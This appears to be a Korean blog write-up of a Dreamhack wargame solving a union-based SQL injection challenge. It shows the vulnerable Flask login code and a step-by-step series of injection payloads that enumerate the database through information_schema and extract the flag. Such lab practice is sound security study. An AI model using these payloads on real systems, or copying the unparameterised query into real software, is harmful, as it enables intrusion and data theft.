프롤로그
워게임 Error based SQL Injection 을 풀면서, SQL Injection에는
1. Error Based SQL Injection
: GET/POST/HTTP헤더/쿠키 등에 ' or ; 삽입시 SQL 관련 에러를 통해 DB의 정보를 예상
(1) '을 넣어서 Error based SQL Injection이 뜨는지 확인
(2) ' and db_name() > 1 -- 로, 등으로 DB명 확인
(3) 칼럼명 확인
2. Union Based SQL Injection
: 공격자가 Union을 이용하여 원래의 요청에 추가 쿼리를 삽입하여 정보를 얻어내는 방식
-> Union쿼리는 앞에거랑 필드개수가 같아야함
' union select 1, 2, 3, 4, 5, 6# 이런식으로 사용
3. Blind based SQL Injection
: 에러가 발생하지 않는 사이트에서 SQL 쿼리의 참/거짓으로 DB구조 파악
참이면 출력, 거짓이면 미출력
4. Stored Procedure Based SQL INjection
: 웹에서 Stored Procedure에 대한 접근 권한을 가짐으로써 실행하능
5. Time based SQL Injection
이렇게 있는 것을 배웠는데, 조만간 아예 드림핵 공부하면서 정리할 듯 싶다.
아무튼 1번 과정을 좀 제대로 체험하면 좋을 것 같았는데 마침 비슷한 유형이 나온 것 같다.
문제
https://dreamhack.io/wargame/challenges/984
코드
#app.py
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
#init.sql
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
코드 분석
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
보면 uid값과 upw값을 입력받고, 아무런 검사 없이 sql query문으로 집어넣는 것을 확인할 수 있다.
데이터베이스를 보면
우리가 fake_teble_name에서 fake_col1, fake_col2, fake_col3, fake_col4의 실제이름들을 찾아야한다.
users테이블은 칼럼이 4개
fake_table은 칼럼이 5개 정도만 알아두고 가자.
풀이전략
아까
(1) '을 넣어서 Error based SQL Injection이 뜨는지 확인
(2) DB명 확인
(3) 테이블명 확인
(4) 칼럼명 확인
이거대로 해볼 것이다. 그럼 되지 않을까?
풀이 과정
일단 SQL Injection이 가능한지 부터 보자.
지금부터 모든 upw에는 그냥 1만 입력할 것이다.
uid에는
admin'#
를 입력해보면
일단 SQL 인젝션이 된다는 것을 확인했다.
그다음에 DB 명을 알아보자. 다만 그것을 위해서는 DB 정보부터 알아야한다.
' union select version(),null,null,null #
MariaDB라는 것을 확인
그 다음에, DB명은?
' union select database(),null,null,null #
이때 null이 뒤에 3개가 더 붙은 이유는 user의 칼럼이 4개이기 때문에 database() 포함 4개를 맞춰줘야하기 때문이다.
db명은 secret_db였다. 저게 구라가 아니라 진짜였구나...
그 다음 테이블 명을 알아야겠죠?
' union select table_name, null, null, null from information_schema.tables WHERE table_schema="secret_db"#
여기서 중요한 것은, information_schema 인데, 데이터베이스의 구조, 정보등을 가지고 있다고 한다.
information_schema.tables:
- 데이터베이스 내의 모든 테이블에 대한 정보를 저장.
- 이 테이블을 조회하여, 특정 데이터베이스의 테이블 목록을 확인.
- 주요 컬럼:
- table_schema: 데이터베이스 이름
- table_name: 테이블 이름
- table_type: 테이블 유형 (예: BASE TABLE, VIEW)
그래서 information_schema.tables로 테이블 정보를 가져오는데 어디서?
table_schema="데이터베이스명"으로 해당 데이터베이스의 테이블들을 가져온다. 아까 데이터베이스 명은 위에서 구했다.
그러면 테이블 명은 onlyflag라는 것을 알 수 있다.
그 다음은 칼럼명을 가져오자.
- information_schema.columns:
- 데이터베이스 내의 모든 테이블의 컬럼에 대한 정보를 제공합니다.
- 각 테이블의 컬럼 이름, 데이터 타입, 기본값 등을 조회할 수 있습니다.
- 주요 컬럼:
- table_schema: 데이터베이스 이름
- table_name: 테이블 이름
- column_name: 컬럼 이름
- data_type: 컬럼의 데이터 타입
을 토대로 아까처럼 쿼리문을 작성하면
' union select column_name, null, null, null from information_schema.columns WHERE table_name="onlyflag"#
이렇게 되고,
칼럼들은
idx, sname, svalue, sflag, sclose 이렇게 5개라는 것을 구했다.
최종적으로 이제 저기 있는 칼럼에 있는 데이터 값만 알아내면 문제 해결이다.
그래서 이제 내용을 보려고 이렇게 입력했다.
' union select sname, svalue, sflag, sclose from onlyflag #
뭔가 이상하다.
sname 부분에는 flag is 만 들어가있는 거 같으니까, 저거 빼버리자.
' union select svalue, sflag, null,sclose from onlyflag #
null을 3번째에 넣은 이유는 위에 했을 때 3번째게 짤린 거 같아서. 그래서 입력하면
플래그 값이 나왔다.
에필로그
여기서 3개만 출력되는 것을 확인해야했다.
3일만인 거 같네...끝나긴했다..
매일 문제는 풀고있다.
다만 최근 2일간 푼문제는 너무 쉬워서 안 적은 거다.
2분컷 냈는데;;올리기도 좀 그랬다.
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] [wargame.kr] tmitter (웹 해킹) (1) | 2024.09.28 |
---|---|
[드림핵/워게임] random-test (웹 해킹) (2) | 2024.09.26 |
[드림핵/워게임] what-is-my-ip (웹 해킹) (3) | 2024.09.22 |
[드림핵/워게임][wargame.kr] login filtering (웹해킹) (2) | 2024.09.20 |
[드림핵/워게임] CSRF Advanced (웹 해킹) (2) | 2024.09.19 |